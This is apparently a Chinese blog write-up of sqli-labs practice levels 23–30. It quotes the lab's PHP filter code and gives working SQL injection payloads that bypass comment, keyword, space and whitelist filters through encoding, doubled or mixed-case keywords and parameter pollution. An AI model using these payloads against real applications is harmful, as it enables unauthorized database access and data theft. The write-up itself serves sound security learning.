Sqli靶场23-->30

不知不觉鸽了几天了,没办法去旅游摸鱼是这样的了,抓紧时间来小更一下

                                

23.过滤注释符号

先手工注入一下,就能发现两个单引号不报错,但是一旦上到注释符号的话就会报错,可以猜测出是对注释符号进行了过滤,我们也去看一下源码!!

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

不难发现,源代码的意思就是将 # -- 这两个注释符号替换成空,那很简单我们不注释就好了

不多说下一关!!

24.二次注入

这个关卡在前面讲过,就不多赘述,有兴趣的话可以翻一下我前面的文章

25.小小过滤and,编码秒了

这一关从它的提示都能发现他过滤了and和or,但是没有过滤编码(我猜的

于是就开始poc:

1'+%26%26+1=1--+

成功能够看见返回(Hint:在sql中and和&&的作用都是一样的)

26.过滤我and?还过滤我空格?但是无伤大雅

这一关一开始我是没有看提示的,直接手工注入,字符型,没跑

然后注释测试发现又给我过滤了,于是就写这样的poc

id=1'+and+1='1

不出意外,报错。。。。。。于是就在想是不是and导致的报错,于是poc就有

id=1'and'

回显正常,说明是and被过滤,尝试编码绕过

 没有回显(报错),说明是and被过滤, 而且%26%26被成功解析

于是继续我们的poc

id=1'+%26%26+1='1

 发现能成功回显,然后其实完全就到此为止了,但是,!@@@@!!!!

看一眼提示?其实就能发现它对空格也进行了过滤,但是没有什么关系,因为就算sql语句堆在一起,只要不触碰到关键词,都是会执行的,但是如果你想完美 加个/**/就好

27.and?三次绕过&&大小写

这题其实完全可以直接用and秒了,但是既然他都已经在暗示我过滤了select 和union了 那我怎么好意思不绕一下waf 开始poc(因为注释被过滤,所以select的最后一个要是'包裹)

321331231'+union+select+1,2,'1 

看看被过滤成了啥?好家伙,空格,union select 你是吞的一个不剩😓😓

那我们分别试一下双写一下试试?发现union和tab(%09)是出来了,但是我select呢??

321331231'+uniunionon%09seselectlect%091,2,'1 

于是试一下大小写?,成功绕过WAF

321331231'+uniunionon%09SelEct%091,user(),'1 

 这样就做出来了,但是还是得去看一下源代码,(为了日后的代码审计)

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
  • 可以看到首先它是过滤了/ 和*
  • 然后将 -- #这些过滤掉
  • 接着就是空格了
  • 接下来就是select 了可以看见它前前后后一共过滤了两次,所以这就是为什么我们对select双写没有用的原因
  • 然后就是对union进行替换,而且是只替换一次,这里就是为什么可以进行双写绕过的原因

那么审计完代码了,其实我们是不是可以对select 进行一次三写,?这样也是可以的

321331231'+uniunionon%09seselecselecttlect%091,user(),'1

28.这不看源代码写的出来??牛魔WAF

这个题呃呃呃,感觉不看源代码真的绕不过这这个waf啊

                            我belike:    

来吧,先上最简单的poc:

1'%09union%09select%091,2,'3 

 发现变成了这样,双写一下试试看?

?又不过滤了

1'%09uniounionn%09seselectlect%091,2,'3

再来? 

1'%09unionunion%09selectselect%091,2,'3

  这是什么神奇waf(长见识了,其实这种就已经不在是匹配关键字)

而是匹配一种结构!!!!!!

于是就可以发现它匹配的是 union select这样的结构,那我们替换一下就好

2321312321312'%09union%09union%09selectselect%091,user(),'3

但是呢,你会收获一个这个

可以看见语句是被构造出来了,但是没有被执行,而且这个报错也不是我们常见的类型syntax error 于是我们去翻译一下      期待参数1是资源,但是却接收到了布尔值

也就是说接收到得分参数不匹配,于是去看一下源代码。。。。

sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

逆天!!!还有一个 () 怪不得一直不对,所以最终的poc就出来了

2321312321312')%09union%09union%09selectselect%091,user(),('3

29.明明可以绝杀,但是为什么要故意放水(bushi)

这一关,明明作者可以直接堵死注入点,但是他还是留了一条出路   来看!!!

首先看见这个hint就知道不简单,来看看他有多逆天

先是最简单的 1’这样的判断

发现就直接被过滤了,而且这题你会发现你怎么绕过都是这个结果,没办法,看源码

直到我看完源代码才知道什么是不是不可以,而是没有必要

先来看一个函数 whitelist

function whitelist($input)
{$match = preg_match("/^\d+$/", $input);if($match){//echo "you are good";//return $match;}else{	header('Location: hacked.php');//echo "you are bad";}
}
  • 这里唯一要解释一下的,因该就只有$match = preg_match("/^\d+$/", $input); 了
  • 这个表示的是正则匹配传入的参数从开头到结尾是不是都是纯数字
  • 然后如果不是的话就跳转至 hacked.php 然后阻断注入

本来这个就已经是绝杀了的,但是慈祥的出题人还是给我们留下了退路(像极了老师捞人的样子)

函数java_implimentation()

function java_implimentation($query_string)
{$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value){$val=substr($value,0,2);if($val=="id"){$id_value=substr($value,3,30); return $id_value;echo "<br>";break;}}}
  • 巴拉巴拉一大堆,其实就是在将传入的参数以&符号分割开来,用数组接收
  • 并且它只检查第一个id值,并且返回id后面的参数值(就是这里在放水!!)

放水还远不止于此,继续看!!!

$qs = $_SERVER['QUERY_STRING'];$hint=$qs;$id1=java_implimentation($qs);$id=$_GET['id'];//echo $id1;whitelist($id1);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其实我一直很好奇 他为什么不将$sql里面的动态插入的sql语句中的$id 换成能够通过过滤的$id1

         看的出来放水放到极致了    

所以这题的绕过方法就出来了, 写两个id

  • 第一个id为正常的数字参数,能够被正常检验,并且通过waf 然后再将后面咩有过滤的id拼接上去造成注入

于是就有最终的poc

id=1'&id=-1'+union+select+1,database(),user()--+

30.还是29关但是"

这一关还是一样,不过后面的 ' 要改成双引号 " 然后其他的都一样了 poc:

id=0&id=0"+union+select+1,user(),database()--+

 

差不多,写了七关,感觉要写到累死了,   ,后面的先鸽着,有时间再补,到时候过年的时候打算自己开一下红队,因为 我的兄弟:

我的兄弟萌,"内网,才是真正的战场,才是一个人的知识体系的最终融合体现!!!"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/667538.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Crypto | CTF】BUUCTF 萌萌哒的八戒

天命&#xff1a;这年头连猪都有密码&#xff0c;真是奇葩&#xff0c;怪不得我一点头绪都没有 拿到软件&#xff0c;发现是.zip的压缩包&#xff0c;打不开&#xff0c;改成7z后缀名&#xff0c;打开了 发现是一张图片 也只有下面这行东西是感觉是密码了&#xff0c;又不可能…

前端面试题——Vue的双向绑定

前言 双向绑定机制是Vue中最重要的机制之一&#xff0c;甚至可以说是Vue框架的根基&#xff0c;它将数据与视图模板相分离&#xff0c;使得数据处理和页面渲染更为高效&#xff0c;同时它也是前端面试题中的常客&#xff0c;接下来让我们来了解什么是双向绑定以及其实现原理。…

eslint报错文档大量红色报错符号 不自动修正

确保eslint在工作 控制台大量报错信息 确保setting.json 开了保存的时候自动格式化代码 这个时候保存的时候代码可以自动被格式化 但是 文档中和控制台中仍然有大量的报错 信息 此时此刻说明 格式化文档的文件不是按照eslint 格式化的 可以网上找找现成可用的setting.json抄…

一站式SpringBoot学习平台:让编程变得轻松有趣!

介绍&#xff1a;Spring Boot是一个开源的Java框架&#xff0c;旨在简化Spring应用程序的开发和部署过程。 Spring Boot由Pivotal团队设计并推出&#xff0c;它的核心优势在于极大地简化了传统Spring应用的初始搭建和开发流程。具体来说&#xff0c;Spring Boot的主要特点包括&…

Bard 最新更新:全球开放访问Gemini Pro并生成图片

深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领域的领跑者。点击订阅&#xff0c;与未来同行&#xff01; 订阅&#xff1a;https://rengongzhineng.io/ 。 今…

【讲座分享】| 复旦大学张奇教授——《自然语言发表论文如何打怪升级?NLP顶会论文发表》

文章目录 1 基础关1.1 基础书籍1.2 提高书籍1.3 课程链接1.4 编程实战 2 阅读关2.1 分层过滤2.2 集团作战&#xff0c;信息获取2.3 论文如何泛读 3 动机 方向关3.1 快速发论文3.2 好的研究 4 写作关4.1 论文写作流程4.2 从读者角度出发4.3 每一部分怎么写4.3.1 Abstract摘要4.3…

深度学习预备知识1——数据操作

所有机器学习方法都涉及从数据中提取信息&#xff0c;因此需要一些关于数据的实用技能&#xff0c;包括存储、操作和预处理数据。 机器学习通常需要处理大型数据集。线性代数和矩阵是计算大量数据的有力工具&#xff0c;需要一些矩阵运算相关的线性代数知识。 深度学习是关于…

[office] excel中weekday函数的使用方法 #学习方法#微信#媒体

excel中weekday函数的使用方法 在EXCEL中Weekday是一个日期函数&#xff0c;可以计算出特定日期所对应的星期数。下面给大家介绍下Weekday函数作用方法。 01、比如&#xff0c;我在A84单元格输入一个日期&#xff0c;2018/5/9&#xff1b;那么&#xff0c;我们利用weekday计算…

Sklearn、TensorFlow 与 Keras 机器学习实用指南第三版(八)

原文&#xff1a;Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 第十八章&#xff1a;强化学习 强化学习&#xff08;RL&#xff09;是当今最激动人心的机器学习领域之一&#xff0c;也是最古老…

题目 1186: 倒杨辉三角形

题目描述: ans喜欢图形&#xff0c;而且喜欢把图形倒过来欣赏。有一次&#xff0c;他看见杨辉三角形 了&#xff0c;觉得很新鲜&#xff0c;于是就把它们大大小小地摆布出来。输入一些整数n&#xff08;1≤n≤10&#xff09;&#xff0c;读入其每个整数&#xff0c;以该整数为…

学习MySQL的CSV存储引擎

学习MySQL的CSV存储引擎 MySQL作为全球最受欢迎的开源关系型数据库管理系统&#xff0c;不仅以其性能、可靠性和易用性著称&#xff0c;还因其多样的存储引擎而备受开发者青睐。其中&#xff0c;CSV存储引擎是一个独特的选择&#xff0c;它允许数据以逗号分隔值&#xff08;CS…

跟着pink老师前端入门教程-day18

3、CSS3 3D转换 生活中的环境是3D的&#xff0c;照片就是3D物体在2D平面呈现的例子 特点&#xff1a;近大远小&#xff0c;物体后面遮挡不可见 3.1 三维坐标系 三维坐标系其实就是指立体空间&#xff0c;立体空间是由3个轴共同组成的 x轴&#xff1a;水平向右 注意&#x…

C# 旋描仪或扫描仪

旋转扫描仪&#xff08;Rotary Scanner&#xff09;是一种特殊类型的扫描仪&#xff0c;它通过旋转机构将待扫描的物体固定在转台上&#xff0c;然后通过旋转扫描头将整个物体进行扫描。旋转扫描仪通常用于扫描大型文档、绘画作品、工程图纸等。 旋转扫描仪的工作原理如下&…

SpringBoot 使用定时任务(SpringTask)

Spring3.0以后自带的task&#xff0c;可以将它看成一个轻量级的Quartz&#xff0c;而且使用起来比Quartz简单许多。 使用步骤&#xff1a; 1.导入坐标 在spring-boot-starter-web坐标中&#xff0c;就包含了SpringTask&#xff0c;所以一般的Web项目都包含了。 <depende…

基于动作合成视频、线免费使用不需要注册,支持多种视频任务:图像生成视频、文本生成视频、视频修改、视频风格化、用Transformer构建世界模型

基于动作合成视频、线免费使用不需要注册&#xff0c;支持多种视频任务&#xff1a;图像生成视频、文本生成视频、视频修改、视频风格化、用Transformer构建世界模型。 WorldDreamer无缝逐帧AI模型: 基于Transformer生成高质量电影级别视频的通用世界模型"。从20亿数据中…

问题:胚珠裸露于心皮上,无真正的果实的植物为() #经验分享#媒体

问题&#xff1a;胚珠裸露于心皮上&#xff0c;无真正的果实的植物为&#xff08;&#xff09; A.双子叶植物 B.被子植物 C.单子叶植物 D.裸子植物 参考答案如图所示

黑豹程序员-封装组件-Vue3 setup方式子组件传值给父组件

需求 封装组件 需要使用到Vue3中如何定义父子组件&#xff0c;由子组件给父组件传值 核心代码 如何使用emits 组件 <template><button click"sendData">点击按钮</button> </template><script setup> import {ref, defineEmits}…

【节选】Go语言的100个错误使用场景|数据类型

Data types &#x1f31f; 章节概述&#xff1a; 基本类型涉及的常见错误 掌握 slice 和 map 的基本概念&#xff0c;避免使用时产生 bug 值的比较 低效的切片初始化&#xff08;#21&#xff09; 实现一个 conver 方法&#xff0c;将一个切片 Foo 转换成另一个类型的切片 Ba…

4.函数是特殊的对象 - JS

万物皆是对象&#xff0c;一切存为数据/值。对象是值&#xff0c;函数也是值。 行为对象 - 函数 函数是可以被调用的“行为/动作对象”&#xff0c;一个函数就是一个行为/动作。作为对象的基本操作都适用&#xff0c;如增/删属性&#xff0c;按引用传递等。 属性 name name …

基于若依的ruoyi-nbcio流程管理系统自定义业务回写状态的一种新方法(二)

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码&#xff1a; https://gitee.com/nbacheng/ruoyi-nbcio 演示地址&#xff1a;RuoYi-Nbcio后台管理系统 更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a; https://gitee.com/nbacheng/n…